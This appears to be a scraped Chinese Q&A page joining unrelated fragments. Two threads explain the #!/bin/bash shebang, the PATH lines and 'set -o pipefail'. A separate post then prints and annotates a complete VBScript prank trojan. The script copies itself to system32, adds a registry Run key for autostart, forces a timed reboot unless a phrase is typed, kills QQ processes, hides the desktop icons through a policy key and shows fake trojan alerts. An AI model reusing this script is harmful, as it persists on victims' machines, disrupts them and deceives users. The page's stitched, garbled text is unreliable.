shell脚本是什么语言中这段是什么意思?

查看: 31435|回复: 5
为什么shell脚本开头要加上 #!bin/bash这段呢?不加会怎么样呢?
级别 {/authortitle}
#!/bin/bash
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:~/bin
export PATH
请问,为什么要加上#!bin/bash这一段呢?
如果没有在脚本里,设置PATH变量,会出现什么问题吗?
好像大多数脚本都有加上这3段哦。
级别 {/authortitle}
#!行是必要的,用于告诉系统,用那个程序来解析其下的所有行的代码。
下面两行只是这是PATH变量而已,不是必要的。
级别 {/authortitle}
就是申明一下的意思。
“#!bin/bash”表示:下面的这段是bash脚本程序哦,用系统中bin目录下的bash程序来执行。
因为有的时侯bash不一定放在bin目录中,所以按照一般可能的位置,把可能的路径也写出来。
级别 {/authortitle}
不加就不认识回家了路了,呵呵。
级别 {/authortitle}
SHELL脚本一般都会加 #!/usr/bin/bash,如果你使用其他的SHELL,也有各种情况:
如:#!/bin/sh
#!/bin/ksh
#!/usr/bin/php
级别 {/authortitle}
好的,谢谢大家的回答。我大概清楚了^^
分享到微信
打开微信,点击顶部的“╋”,
使用“扫一扫”将网页分享至微信。
请将我们加入您的广告过滤器的白名单,请支持开源站点。谢谢您。在 SegmentFault,解决技术问题
每个月,我们帮助 1000 万的开发者解决各种各样的技术问题。并助力他们在技术能力、职业生涯、影响力上获得提升。
一线的工程师、著名开源项目的作者们,都在这里:
获取验证码
已有账号?
问题对人有帮助,内容完整,我也想知道答案
问题没有实际价值,缺少关键内容,没有改进余地
我看了一下某个脚本,最开始的两行是
set -o pipefail
请问这两句是什么意思呢?
答案对人有帮助,有参考价值
答案没帮助,是错误的答案,答非所问
这行代码之后的任何代码,如果返回一个非0的值,那么整个脚本立即退出,官方的说明是为了防止错误出现滚雪球的现象
$ set -o pipefail
原文解释如下:
If set, the return value of a pipeline is the value of the last (rightmost) command to exit with a non-zero status,or zero if all commands in the pipeline exit successfully. This option is disabled by default.
可理解为:
告诉 bash 返回从右到左第一个以非0状态退出的管道命令的返回值,如果所有命令都成功执行时才返回0
答案对人有帮助,有参考价值
答案没帮助,是错误的答案,答非所问
多谢楼上回答,我备份脚本正好需要set -e
该答案已被忽略,原因:
同步到新浪微博
分享到微博?
关闭理由:
删除理由:
忽略理由:
推广(招聘、广告、SEO 等)方面的内容
与已有问题重复(请编辑该提问指向已有相同问题)
答非所问,不符合答题要求
宜作评论而非答案
带有人身攻击、辱骂、仇恨等违反条款的内容
无法获得确切结果的问题
非开发直接相关的问题
非技术提问的讨论型问题
其他原因(请补充说明)
我要该,理由是:shell中true命令有什么作用
shell中true命令有什么作用
09-07-31 &匿名提问
先讲一下这个程序的动作。先把自己拷贝到system32系统文件夹,然后通过修改注册表实现开机启动。然后就调用CMD准备关机,让你说什么“大佬好靓仔!!”不说就重新启动,说了就取消。然后再弹出来一大堆东西,有搞笑的,有吓唬人的。但是都没有任何实际作用。然后就结束掉QQ进程,让你误以为是QQ被盗了。然后就修改注册表,隐藏桌面的所有图标。然后打开记事本,切换输入法。我想原来的程序在这里应该还有一段,是往里面写字的,可能传来传去就弄丢了。程序最后再次吓唬人!! on error resume next '这一句,是要程序出现错误不提示,不中断 Dim fso,file Set fso = CreateObject(&Scripting.FileSystemObject&) Set file = fso.getfile(WScript.ScriptFullName) file.copy &c:\windows\system32\& '以上四句,把在运行的vb文件拷到system32系统文件夹 Dim AutoRunProgram Set AutoRunProgram = WScript.CreateObject(&WScript.shell&) RegPath =&HKLM\Software\Microsoft\Windows\CurrentVersion\Run\& Type_Name = &REG_SZ& Key_Name = &搞笑的游戏.vbe& Key_data = &C:\windows\system32\搞笑的游戏.vbe& AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name '以上7句修改注册表,实现开机自动启动“搞笑的游戏.vbe”,这个程序在system32文件夹。 dim WSHshellA set WSHshellA = wscript.createobject(&wscript.shell&) WSHshellA.run &cmd.exe /c shutdown -r -t 123 -c &&叫声“大佬好靓仔!!”,唔答“大佬好靓仔!!”嘅话1分钟内关你机,唔信试下,米答··&& &,0 ,true '以上3句,调用cmd,并输入关机命令,123秒后重新气动计算机,并弹出中文提示 dim a do while(a && &大佬好靓仔!!&) a = inputbox (&快D讲喇,讲佐就唔关机,速度,说 &&大佬好靓仔!!&& &,&讲唔讲?&,&唔讲???&,) msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox& loop '以上6句,是一个循环,直到在输入框里面输入“大佬好靓仔!!”这几个字和符号,循环才结束 dim WSHshell set WSHshell = wscript.createobject(&wscript.shell&) WSHshell.run &cmd.exe /c shutdown -a&,0 ,true '以上3句,调用cmd,并输入命令,取消关机 '这样,以上三段是一个整体,先调用关机,然后搞个循环,让你输入“大佬好靓仔!!”,假如你输入了,就再调用取消关机,假如你不输入,或者输错了,就无限循环,直到123秒后机器重启。 msgbox chr(13) + chr(13) + chr(13) + &你中计啦。。。。。。中左QQ木马。。^__^& msgbox chr(13) + chr(13) + chr(13) + &乖啦。。。细佬。。。早D讲米得咯& msgbox chr(13) + chr(13) + chr(13) + &抵你死噶。。。& msgbox chr(13) + chr(13) + chr(13) + &乖啦。。。细佬。。。早D讲米得咯& msgbox chr(13) + chr(13) + chr(13) + &我玩得不爽。。。& msgbox chr(13) + chr(13) + chr(13) + &继续。。。。& msgbox chr(13) + chr(13) + chr(13) + &你。。888。。& msgbox &要求:&&vbcrlf&&1、要同时涉及12大门派&&vbcrlf&&2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理&&vbcrlf&&3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念&&vbcrlf&&4、越短越好&&vbcrlf&&&&vbcrlf&&第N天 有人来投稿 全文只有九个字:&&vbcrlf&&&&vbcrlf&&...........&,0,&武侠小说征文& msgbox &送你QQ木马!!&,64,&系统错误& '以上几句,都是弹出对话框,说你中木马什么的,再来个搞笑的征文,但本身没有任何意义也完全不是木马。 set ws=createobject(&wscript.shell&) sub sleep (s) wscript.sleep s * 1000 end sub '这里定义一个子程序,每次调用这个程序,就暂停一会。 sleep 900 '程序暂停0.9秒 ws.popup &windows检测到有重要更新未安装&&vbcrlf&&&&vbcrlf&&系统将在30秒后自动下载更新并盗取你的QQ&,30,&Windows Xp&,64 '再次弹出提示,吓唬人的,就是文字,不会用任何其他动作 sleep 10 ws.popup &正在下载QQ木马......&&vbcrlf&&&&vbcrlf&&稍候将提示您安装&,10,&Windows Xp&,64 '再次弹出提示,吓唬人的,就是文字,不会用任何其他动作 sleep 900 ws.popup &windows已将一木马载入计算机中&&vbcrlf&&&&vbcrlf&&稍后即将运行&,15,&QQ尾巴&,64 '0.9秒后,再次弹出提示,吓唬人的,就是文字,不会用任何其他动作 sleep 3 ws.run &taskkill /f /im qq.exe&,vbhide : sleep 5 ws.regwrite &HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop&,&&,&REG_DWORD& '以上三句,就是等待0.003秒后,运行任务管理器,并结束QQ进程,让你误以为QQ被盗了,如果这个时候,再加一句msgbox &QQ在其他地方登陆,你被迫下线&,就更搞笑了。第三句修改注册表,准备隐藏桌面所有图标。 wscript.sleep 500 ws.run &taskkill /f /im QQ.exe&,vbhide : wscript.sleep 2000 ws.run &explorer.exe&,vbhide : wscript.sleep 6000 '以上三句,就是暂停 0.5秒后,再次调用任务管理器结束QQ进程,可能是担心你有好几个QQ吧。然后刷新桌面,上一段改了注册表,这时候你就看不到图标了。 ws.run &notepad&,3 : wscript.sleep 2000 ws.sendkeys &^ & : wscript.sleep 1000 '打开以上两句,意思是打开记事本,然后发送ctrl+空格键切换输入法,我想原程序后面应该还有,往里面写字的,要不然这句就没用了。可能是你漏掉了。 msgbox chr(13) + chr(13) + chr(13) + &永别了,886& next
请登录后再发表评论!}

我要回帖

更多关于 shell脚本是什么意思 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信